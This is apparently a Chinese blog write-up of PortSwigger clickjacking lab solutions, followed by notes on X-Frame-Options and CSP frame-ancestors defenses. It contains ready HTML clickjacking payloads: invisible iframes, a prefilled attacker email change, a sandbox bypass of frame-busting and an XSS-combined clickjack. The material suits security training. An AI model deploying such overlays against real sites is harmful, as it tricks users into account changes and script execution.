Clickjacking (UI redressing) -- 点击劫持

实验环境是:https://portswigger.net/web-security/clickjacking
这里就只给出题目的答案, 可以使用翻译软件自行翻译英文

基本的点击劫持攻击

<style>
    iframe {
        position:relative;
        width:700px;
        height:500px;
        opacity:0.0001;
        z-index:2;
    }

    div {
        position:absolute;
        top:300px;
        left:60px;
        z-index:1;
    }
</style>

<div>Click me</div>
<iframe src="https://aca61fd71e124ad180d8023e00e00009.web-security-academy.net/account"></iframe>

点击劫持是在自己网址上创建一个页面,然后用iframe加载别的网址,把被加载的网址设置为顶层然后透明

使用预先填写的表单输入进行点击劫持

<style>
    iframe {
        position:relative;
        width: 700;
        height: 500;
        opacity: 0.0001;
        z-index: 2;
    }
    div{
        position:absolute;
        top: 420;
        left: 80;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://acbd1f251fcdbe368036079300240070.web-security-academy.net/email?email=hacker@attacker-website.com"></iframe>

frame 破坏脚本

一个网址为了防止点击注入攻击,那就要想办法,让自己的网站不能被加载成frame,比如下面的脚本

<script>
    if(top != self) {
        window.addEventListener("DOMContentLoaded", function() {
            document.body.innerHTML = 'This page cannot be framed';
        }, false);
    }
</script>

这样,加到html中就可以防止网页被加载为frame


image.png

那如何做这道题呢?

<style>
    iframe {
        position: relative;
        width: 700px;
        height: 500px;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position: absolute;
        top: 385px;
        left: 80px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://ac941f351f5abe8980b30d0b001f0017.web-security-academy.net/email?email=san@san.com"></iframe>

这样令sandbox属性为allow-forms就可以了

注:
如果被规定为空字符串(sandbox=""),sandbox 属性将会启用一系列对行内框架中内容的额外限制。
sandbox 属性的值既可以是一个空字符串(应用所有的限制),也可以是空格分隔的预定义值列表(将移除特定的限制)。

与XSS结合

image.png
<style>
    iframe {
        position: relative;
        width: 700px;
        height: 1000px;
        opacity: 0.0001;
        z-index: 2;
    }
    div {
        position: absolute;
        top: 850px;
        left: 75px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://ac541f281f0dbe8f80d428cb00f10073.web-security-academy.net/feedback?name=<img src=1 onerror=alert(1)>&email=san@san.com&subject=test&message=test"></iframe>

多步骤点击劫持

<style>
    iframe {
        position: relative;
        width: 700px;
        height: 500px;
        opacity: 0.0001;
        z-index: 2;
    }
    .firstClick, .secondClick {
        position: absolute;
        top: 285px;
        left: 50px;
        z-index: 1;
    }
    .secondClick {
        left: 200px
    }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://ac411f411fcfbe0a80752bc600b00056.web-security-academy.net/account"></iframe>

这个可能需要构造一个用于欺骗的验证页面,比如:
这是一个验证页面,请依次点击:x, x, x,然后来一张图片,放上这几个字,好麻烦啊

防护点击劫持

服务器端点击劫持保护的两种机制是X-Frame-Options和Content Security Policy

X-Frame-Options

  • X-Frame-Options: deny - 不允许
  • X-Frame-Options: sameorigin - 同源允许
  • X-Frame-Options: allow-from https://normal-website.com - 允许特定网站

内容安全政策(CSP)

内容安全策略(CSP)是一种检测和预防机制,可缓解XSS和Clickjacking等攻击。CSP通常在Web服务器中以以下形式的返回标头实现:

  • Content-Security-Policy: policy

其中policy是由分号分隔的一串策略指令。CSP向客户端浏览器提供有关允许的Web资源来源的信息,浏览器可以将这些资源应用于检测和拦截恶意行为。

点击劫持保护是将frame-ancestors指令合并到应用程序的内容安全策略中。frame-ancestors 'none'指令是类似X-Frame-Options : denyframe-ancestors 'self'指令是大致相当于 X-Frame-Options : sameorigin

  • Content-Security-Policy: frame-ancestors 'self';
  • Content-Security-Policy: frame-ancestors normal-website.com;
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容